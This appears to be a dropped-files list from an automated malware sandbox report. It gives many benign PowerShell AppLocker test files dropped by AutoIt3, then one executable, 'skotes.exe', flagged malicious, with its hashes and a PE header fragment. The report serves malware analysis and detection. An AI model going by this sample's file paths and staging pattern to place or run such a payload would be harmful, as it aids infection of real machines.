Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_5md2qnf5.0ys.ps1

Download File

Process:	C:\Program Files (x86)\AutoIt3\AutoIt3_x64.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Reputation:	unknown
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_5rfkhrkj.na4.ps1

Download File

Process:	C:\Program Files (x86)\AutoIt3\AutoIt3_x64.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Reputation:	unknown
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_5zrtv1pj.zgw.psm1

Download File

Process:	C:\Program Files (x86)\AutoIt3\AutoIt3_x64.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Reputation:	unknown
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_a03xvcyx.nhk.ps1

Download File

Process:	C:\Program Files (x86)\AutoIt3\AutoIt3_x64.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Reputation:	unknown
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_asaxwdwk.do5.ps1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Reputation:	unknown
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_bbbkxcjw.qsp.ps1

Download File

Process:	C:\Program Files (x86)\AutoIt3\AutoIt3_x64.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Reputation:	unknown
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_bf0i4pcg.a1z.ps1

Download File

Process:	C:\Program Files (x86)\AutoIt3\AutoIt3_x64.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Reputation:	unknown
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_edvxqhdh.2ie.ps1

Download File

Process:	C:\Program Files (x86)\AutoIt3\AutoIt3_x64.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Reputation:	unknown
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_er3zd3aj.lq2.psm1

Download File

Process:	C:\Program Files (x86)\AutoIt3\AutoIt3_x64.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Reputation:	unknown
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_fgualio5.zgu.ps1

Download File

Process:	C:\Program Files (x86)\AutoIt3\AutoIt3_x64.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Reputation:	unknown
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_fzlziiov.kkg.ps1

Download File

Process:	C:\Program Files (x86)\AutoIt3\AutoIt3_x64.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Reputation:	unknown
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_hy3guanx.imp.psm1

Download File

Process:	C:\Program Files (x86)\AutoIt3\AutoIt3_x64.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Reputation:	unknown
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_if3fxqrs.gl2.psm1

Download File

Process:	C:\Program Files (x86)\AutoIt3\AutoIt3_x64.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Reputation:	unknown
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_ivuiqylx.5hk.ps1

Download File

Process:	C:\Program Files (x86)\AutoIt3\AutoIt3_x64.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Reputation:	unknown
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_jhwfrymg.axg.ps1

Download File

Process:	C:\Program Files (x86)\AutoIt3\AutoIt3_x64.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Reputation:	unknown
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_k3gks1nj.oip.ps1

Download File

Process:	C:\Program Files (x86)\AutoIt3\AutoIt3_x64.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Reputation:	unknown
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_l12ewq3m.mhi.psm1

Download File

Process:	C:\Program Files (x86)\AutoIt3\AutoIt3_x64.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Reputation:	unknown
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_mdvqhqos.ppu.ps1

Download File

Process:	C:\Program Files (x86)\AutoIt3\AutoIt3_x64.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Reputation:	unknown
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_npsbkgwn.5vr.psm1

Download File

Process:	C:\Program Files (x86)\AutoIt3\AutoIt3_x64.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Reputation:	unknown
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_ojbwazu2.kyu.psm1

Download File

Process:	C:\Program Files (x86)\AutoIt3\AutoIt3_x64.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Reputation:	unknown
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_ooewcc21.zp4.psm1

Download File

Process:	C:\Program Files (x86)\AutoIt3\AutoIt3_x64.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Reputation:	unknown
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_oxiwckhj.ddj.psm1

Download File

Process:	C:\Program Files (x86)\AutoIt3\AutoIt3_x64.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Reputation:	unknown
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_r0rtjtwj.fcw.ps1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Reputation:	unknown
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_rlxkv40l.a22.psm1

Download File

Process:	C:\Program Files (x86)\AutoIt3\AutoIt3_x64.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Reputation:	unknown
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_rwdsvheb.1zn.ps1

Download File

Process:	C:\Program Files (x86)\AutoIt3\AutoIt3_x64.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Reputation:	unknown
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_szq2vtxf.jrr.ps1

Download File

Process:	C:\Program Files (x86)\AutoIt3\AutoIt3_x64.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Reputation:	unknown
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_taamqaou.kap.psm1

Download File

Process:	C:\Program Files (x86)\AutoIt3\AutoIt3_x64.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Reputation:	unknown
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_tkd3qkqr.wdw.psm1

Download File

Process:	C:\Program Files (x86)\AutoIt3\AutoIt3_x64.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Reputation:	unknown
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_u3deugix.fea.psm1

Download File

Process:	C:\Program Files (x86)\AutoIt3\AutoIt3_x64.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Reputation:	unknown
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_xboiw5oe.ybm.psm1

Download File

Process:	C:\Program Files (x86)\AutoIt3\AutoIt3_x64.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Reputation:	unknown
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_y3gqg44v.jse.ps1

Download File

Process:	C:\Program Files (x86)\AutoIt3\AutoIt3_x64.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Reputation:	unknown
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_zur2xvi5.wlc.psm1

Download File

Process:	C:\Program Files (x86)\AutoIt3\AutoIt3_x64.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Reputation:	unknown
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\7L2IH7SHMJ2UHKK6X5B1EYK6W8VN0.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	3229696
Entropy (8bit):	6.694527762643923
Encrypted:	false
SSDEEP:	49152:crGsKUNW0CaotgIHBZ84N1zJpfNK9tuUPe/ertjfw:crGsH80CjtpHBZZpfN6tuUWItTw
MD5:	F70FD98886425270B5017B04C74B31B8
SHA1:	4986A38E280964CA0D7182C915937DE01C3A4929
SHA-256:	2DC46C49E36B784224D8BECA0430CAF53E821640D359C855B35025C0CFA22AB9
SHA-512:	5DD23707162709C4CB27416E1111EB60FE40DCA24DD34DFF64F54FADAD943B66A06255AF37D09AA037F910FF06369C3763EC6FC0940FC3803303E47D9B8947B6
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........-I..C...C...C...@...C...F.B.C.6.G...C.6.@...C.6.F...C...G...C...B...C...B.5.C.x.J...C.x.....C.x.A...C.Rich..C.........................PE..L....V.f.............................P1...........@...........................1.......2...@.................................W...k............................51..............................51..................................................... . ............................@....rsrc...............................@....idata ............................@...xqzoqyib..........................@...ryeovcsc.....@1......"1.............@....taggant.0...P1.."...&1.............@...........................................................................................................................................................................................................................................................

